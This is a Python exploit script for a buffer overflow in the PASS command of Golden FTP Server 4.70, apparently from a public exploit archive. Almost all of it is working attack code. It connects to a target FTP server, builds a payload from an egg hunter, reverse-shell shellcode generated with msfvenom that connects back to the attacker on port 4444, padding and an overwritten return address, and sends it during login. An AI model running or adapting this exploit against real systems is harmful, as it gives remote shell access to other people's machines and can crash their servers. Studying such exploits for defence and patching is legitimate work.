# Golden FTP Server 4.70 - 'PASS' Buffer Overflow (2) # Author: 1F98D # Original Authors: Craig Freyman (cd1zz) and Gerardo Iglesias Galvan (iglesiasgg) # Tested on Windows 10 (x64) # # A buffer overflow exists in GoldenFTP during the authentication process. # Note that the source ip address of the user performing the authentication # forms part of the buffer and as such must be accounted for when calculating # the appropriate offset. It should also be noted that the exploit is # rather unstable and if exploitation fails, GoldenFTP will be left in # a state where it will still accept connections, but it will be unable # to handle or process them in anyway, so be careful. # #!/usr/local/bin/python3 from socket import * import sys # Your address forms part of the buffer length calculation SOURCE = '192.168.1.1' TARGET = '192.168.1.2' s = socket(AF_INET, SOCK_STREAM) s.connect((TARGET, 21)) # msfvenom -p windows/shell_reverse_tcp -f python -b '\x00\x0a\x0d' LHOST=192.168.1.1 LPORT=4444 buf = b"" buf += b"\xba\x1e\xb6\xaa\x95\xda\xc3\xd9\x74\x24\xf4\x5d\x29" buf += b"\xc9\xb1\x52\x83\xc5\x04\x31\x55\x0e\x03\x4b\xb8\x48" buf += b"\x60\x8f\x2c\x0e\x8b\x6f\xad\x6f\x05\x8a\x9c\xaf\x71" buf += b"\xdf\x8f\x1f\xf1\x8d\x23\xeb\x57\x25\xb7\x99\x7f\x4a" buf += b"\x70\x17\xa6\x65\x81\x04\x9a\xe4\x01\x57\xcf\xc6\x38" buf += b"\x98\x02\x07\x7c\xc5\xef\x55\xd5\x81\x42\x49\x52\xdf" buf += b"\x5e\xe2\x28\xf1\xe6\x17\xf8\xf0\xc7\x86\x72\xab\xc7" buf += b"\x29\x56\xc7\x41\x31\xbb\xe2\x18\xca\x0f\x98\x9a\x1a" buf += b"\x5e\x61\x30\x63\x6e\x90\x48\xa4\x49\x4b\x3f\xdc\xa9" buf += b"\xf6\x38\x1b\xd3\x2c\xcc\xbf\x73\xa6\x76\x1b\x85\x6b" buf += b"\xe0\xe8\x89\xc0\x66\xb6\x8d\xd7\xab\xcd\xaa\x5c\x4a" buf += b"\x01\x3b\x26\x69\x85\x67\xfc\x10\x9c\xcd\x53\x2c\xfe" buf += b"\xad\x0c\x88\x75\x43\x58\xa1\xd4\x0c\xad\x88\xe6\xcc" buf += b"\xb9\x9b\x95\xfe\x66\x30\x31\xb3\xef\x9e\xc6\xb4\xc5" buf += b"\x67\x58\x4b\xe6\x97\x71\x88\xb2\xc7\xe9\x39\xbb\x83" buf += b"\xe9\xc6\x6e\x03\xb9\x68\xc1\xe4\x69\xc9\xb1\x8c\x63" buf += b"\xc6\xee\xad\x8c\x0c\x87\x44\x77\xc7\x68\x30\x76\x16" buf += b"\x01\x43\x78\x09\x8d\xca\x9e\x43\x3d\x9b\x09\xfc\xa4" buf += b"\x86\xc1\x9d\x29\x1d\xac\x9e\xa2\x92\x51\x50\x43\xde" buf += b"\x41\x05\xa3\x95\x3b\x80\xbc\x03\x53\x4e\x2e\xc8\xa3" buf += b"\x19\x53\x47\xf4\x4e\xa5\x9e\x90\x62\x9c\x08\x86\x7e" buf += b"\x78\x72\x02\xa5\xb9\x7d\x8b\x28\x85\x59\x9b\xf4\x06" buf += b"\xe6\xcf\xa8\x50\xb0\xb9\x0e\x0b\x72\x13\xd9\xe0\xdc" buf += b"\xf3\x9c\xca\xde\x85\xa0\x06\xa9\x69\x10\xff\xec\x96" buf += b"\x9d\x97\xf8\xef\xc3\x07\x06\x3a\x40\x37\x4d\x66\xe1" buf += b"\xd0\x08\xf3\xb3\xbc\xaa\x2e\xf7\xb8\x28\xda\x88\x3e" buf += b"\x30\xaf\x8d\x7b\xf6\x5c\xfc\x14\x93\x62\x53\x14\xb6" total_length = 545-len(SOURCE) eip = b'\x7f\x79\x4c\x00' hunter = b'\x90\x90\x90\x90\x90\x90' # padding ; nop slide to account for variable offset base on source ip hunter += b'\xfd' # std ; set df flag so we search high to low hunter += b'\xb8\x43\x42\x41\x40' # mov eax, 0x40414243 ; egg hunter += b'\x89\xF7' # mov edi, esi ; start searching from esi hunter += b'\x47' # inc edi hunter += b'\x90' # nop hunter += b'\x83\xC7\x03' # add edi, 0x3 ; scasd decrements by 4, add 3 so we search 1 by 1 hunter += b'\xaf' # scasd ; check for egg at edi hunter += b'\x75\xfa' # short jnz -0x6 ; jump back to add edi, 0x3 hunter += b'\x83\xC7\x03' # add edi, 0x3 hunter += b'\xaf' # scasd hunter += b'\x75\xfa' # short jnz -0x6 hunter += b'\x83\xC7\x1f' # add edi, 0x1f ; account for egg hunter hunter += b'\xff\xe7' # jmp edi ; egg found, let's go! hunter += b'\x90\x90\x90\x90\x90\x90' # padding ; nop slide to account for variable offset again payload = hunter + buf + b'\x90'*(total_length-len(eip)-len(hunter)-len(buf)) + eip s.send(b'USER anonymous\r\n') print(s.recv(1024)) print(s.recv(1024)) s.send(b'PASS ' + payload + b'\r\n') print(s.recv(1024)) s.send(b'QUIT\r\n') print(s.recv(1024))